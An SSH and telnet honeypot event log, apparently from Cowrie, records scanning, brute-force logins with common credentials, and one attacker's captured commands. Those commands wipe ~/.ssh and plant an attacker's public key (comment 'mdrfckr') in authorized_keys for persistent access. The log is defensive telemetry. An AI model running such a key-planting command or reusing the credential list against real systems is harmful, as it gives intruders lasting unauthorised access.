{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:25.267557Z","src_ip":"43.165.185.71","session":"4a7a4b79c3c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:25.449040Z","src_ip":"43.165.185.71","session":"4a7a4b79c3c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"abc123","message":"login attempt [guest/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:26.193047Z","src_ip":"43.165.185.71","session":"4a7a4b79c3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:27.372638Z","src_ip":"43.165.185.71","session":"4a7a4b79c3c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.926610231399536,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:28.392710Z","src_ip":"68.183.198.12","session":"4d9c2c8445b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.31301689147949,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:34.289245Z","src_ip":"64.227.101.30","session":"1e49ec35c23d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.640257596969604,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:35.134329Z","src_ip":"64.227.101.30","session":"02d4509e82b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.78611946105957,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:37.113113Z","src_ip":"68.183.198.12","session":"e3cf02bde03b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.26867437362671,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:37.365196Z","src_ip":"64.227.101.30","session":"2780d161b405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41706,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3ffc80f339c","protocol":"telnet","message":"New connection: 64.227.101.30:41706 (10.17.0.5:23) [session: c3ffc80f339c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:40.092477Z"}
{"eventid":"cowrie.session.closed","duration":0.005338430404663086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:40.097686Z","src_ip":"64.227.101.30","session":"c3ffc80f339c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":99.14617729187012,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:40.534170Z","src_ip":"68.183.198.12","session":"78669b31ebc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.64417028427124,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:40.625015Z","src_ip":"64.227.101.30","session":"26fd0b754982","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58548,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3dc0fc40559","protocol":"telnet","message":"New connection: 64.227.101.30:58548 (10.17.0.5:23) [session: a3dc0fc40559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:42.977322Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":36994,"dst_ip":"159.203.135.109","dst_port":22,"session":"f09d6574cc07","protocol":"ssh","message":"New connection: 200.118.150.20:36994 (159.203.135.109:22) [session: f09d6574cc07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:43.932443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.170849Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.253947Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"P@ssw0rd","message":"login attempt [oracle/P@ssw0rd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.628052Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.843350Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.846302Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.849334Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:44.938522Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.167127Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.171227Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.265340Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.269251Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":37128,"dst_ip":"159.203.135.109","dst_port":22,"session":"14049559a1cd","protocol":"ssh","message":"New connection: 200.118.150.20:37128 (159.203.135.109:22) [session: 14049559a1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.352464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.357626Z","src_ip":"200.118.150.20","session":"14049559a1cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.448092Z","src_ip":"200.118.150.20","session":"14049559a1cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:45.836596Z","src_ip":"200.118.150.20","session":"14049559a1cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:46.929699Z","src_ip":"200.118.150.20","session":"14049559a1cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":37300,"dst_ip":"159.203.135.109","dst_port":22,"session":"d11156bd2f73","protocol":"ssh","message":"New connection: 200.118.150.20:37300 (159.203.135.109:22) [session: d11156bd2f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.001965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.009964Z","src_ip":"200.118.150.20","session":"d11156bd2f73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.092447Z","src_ip":"200.118.150.20","session":"d11156bd2f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59088,"dst_ip":"10.17.0.5","dst_port":23,"session":"29fe393da6a3","protocol":"telnet","message":"New connection: 64.227.101.30:59088 (10.17.0.5:23) [session: 29fe393da6a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.563009Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.614270Z","src_ip":"200.118.150.20","session":"d11156bd2f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.700012Z","src_ip":"200.118.150.20","session":"d11156bd2f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:47.704707Z","src_ip":"200.118.150.20","session":"f09d6574cc07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59770,"dst_ip":"10.17.0.5","dst_port":23,"session":"347dba40144b","protocol":"telnet","message":"New connection: 64.227.101.30:59770 (10.17.0.5:23) [session: 347dba40144b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:50.787513Z"}
{"eventid":"cowrie.session.closed","duration":36.868833780288696,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:51.263719Z","src_ip":"64.227.101.30","session":"eec61b44bd47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":107.56412124633789,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:51.881904Z","src_ip":"64.227.101.30","session":"9814b1e01f76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":47342,"dst_ip":"10.17.0.5","dst_port":23,"session":"8090b263ec4d","protocol":"telnet","message":"New connection: 64.227.101.30:47342 (10.17.0.5:23) [session: 8090b263ec4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:52.640724Z"}
{"eventid":"cowrie.session.closed","duration":0.007420063018798828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:07:52.648016Z","src_ip":"64.227.101.30","session":"8090b263ec4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47092,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0c7e73e9332","protocol":"telnet","message":"New connection: 68.183.198.12:47092 (159.203.135.109:23) [session: c0c7e73e9332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:00.747220Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.220.201.47","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"330d8d71cb92","protocol":"telnet","message":"New connection: 41.220.201.47:36612 (10.17.0.5:23) [session: 330d8d71cb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:02.801824Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47626,"dst_ip":"159.203.135.109","dst_port":23,"session":"a89ba76ec766","protocol":"telnet","message":"New connection: 68.183.198.12:47626 (159.203.135.109:23) [session: a89ba76ec766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:03.457345Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53152,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa41b631348","protocol":"telnet","message":"New connection: 161.97.105.174:53152 (159.203.135.109:23) [session: 6fa41b631348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:03.810545Z"}
{"eventid":"cowrie.session.closed","duration":12.73481798171997,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:15.536515Z","src_ip":"41.220.201.47","session":"330d8d71cb92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49738,"dst_ip":"159.203.135.109","dst_port":23,"session":"f906059df46b","protocol":"telnet","message":"New connection: 68.183.198.12:49738 (159.203.135.109:23) [session: f906059df46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:16.715925Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59486,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d89b0669383","protocol":"telnet","message":"New connection: 64.227.101.30:59486 (10.17.0.5:23) [session: 3d89b0669383]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:17.148317Z"}
{"eventid":"cowrie.session.closed","duration":0.1130218505859375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:17.261205Z","src_ip":"64.227.101.30","session":"3d89b0669383","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38740,"dst_ip":"10.17.0.5","dst_port":23,"session":"4aedcb804270","protocol":"telnet","message":"New connection: 64.227.101.30:38740 (10.17.0.5:23) [session: 4aedcb804270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:17.892125Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38072,"dst_ip":"10.17.0.5","dst_port":23,"session":"d653c9fe1d29","protocol":"telnet","message":"New connection: 64.227.101.30:38072 (10.17.0.5:23) [session: d653c9fe1d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:19.211262Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":43384,"dst_ip":"10.17.0.5","dst_port":22,"session":"b063b83f0e47","protocol":"ssh","message":"New connection: 43.165.185.71:43384 (10.17.0.5:22) [session: b063b83f0e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:20.442057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:08:20.446507Z","src_ip":"43.165.185.71","session":"b063b83f0e47","protocol":"ssh"}
